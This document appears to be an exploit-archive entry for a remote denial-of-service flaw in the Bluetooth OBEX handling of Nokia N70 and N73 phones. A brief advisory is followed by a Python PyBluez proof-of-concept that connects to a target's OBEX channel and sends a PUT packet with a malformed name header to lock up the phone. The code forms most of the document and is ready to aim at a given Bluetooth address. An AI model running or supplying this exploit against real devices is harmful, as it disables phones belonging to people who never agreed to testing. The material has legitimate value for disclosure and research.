Nokia N70 and N73 - Malformed OBEX Name Header Remote Denial of Service

source: https://www.securityfocus.com/bid/32796/info

Multiple Nokia phones are prone to a remote denial-of-service vulnerability in their handling of the Object Exchange protocol.

Attackers may exploit this issue to crash a vulnerable phone, creating a denial-of-service condition. Note that attackers must be able to communicate with the device via Bluetooth to take advantage of this issue.

This issue is reported in N70 and N73 phones; additional devices may also be vulnerable.

# PoC code to demonstrate the flaw in the OBEX implementation of Nokia phones
# Tested under Windows XP SP2
# Coded by the penetration test team Of NCNIPC (China)

# PyBluez are required to run the code
from bluetooth import *

# Bluetooth address and OBEX channel of the target device
# Replace them with the appropriate values for your device
target = ("00:15:A0:F9:E6:03", 10)

# Make a connection
sock = BluetoothSocket(RFCOMM)
sock.connect(target)

# Connect to the OBEX service
connect_pkg = "\x80\x00\x07\x10\x00\xff\xfe"
sock.send(connect_pkg)
con_recv=sock.recv(20)

if con_recv[0]=='\xa0':
    # Now we are connected

    # The name string that consists of a single 0x0009 character, which will
    # cause the phone to lock up
    name_str = "\x00\x09"
    
    # Construct and send the malformed packet
    name_header = "\x01\x00" + chr(len(name_str) + 5) + name_str + "\x00\x00";
    body_header = "\x49\x00\xa0\x42\x45\x47\x49\x4e\x3a\x56\x43\x41\x52\x44\x0d\x0a\x56\x45\x52\x53\x49\x4f\x4e\x3a\x32\x2e\x31\x0d\x0a\x4e\x3b\x45\x4e\x43\x4f\x44\x49\x4e\x47\x3d\x38\x42\x49\x54\x3b\x43\x48\x41\x52\x53\x45\x54\x3d\x55\x54\x46\x2d\x38\x3a\x42\x6c\x6f\x67\x67\x73\x3b\x4a\x6f\x65\x0d\x0a\x54\x45\x4c\x3b\x50\x52\x45\x46\x3b\x43\x45\x4c\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x54\x45\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x45\x4d\x41\x49\x4c\x3a\x72\x6f\x6f\x74\x40\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0d\x0a\x45\x4e\x44\x3a\x56\x43\x41\x52\x44\x0d\x0a"
    put_pkg = "\x82\x00" + chr(len(name_header) + len(body_header) + 3) + name_header + body_header
    print "Packet dump: ", binascii.b2a_hex(put_pkg)
    sock.send(put_pkg)
    print "Packet sent"

    try:
        resp = sock.recv(20)
        print "Response dump: %s" %(binascii.b2a_hex(resp))
    except:
        print "Failed to receive response: ", sys.exc_info()[0]
    
    sock.close()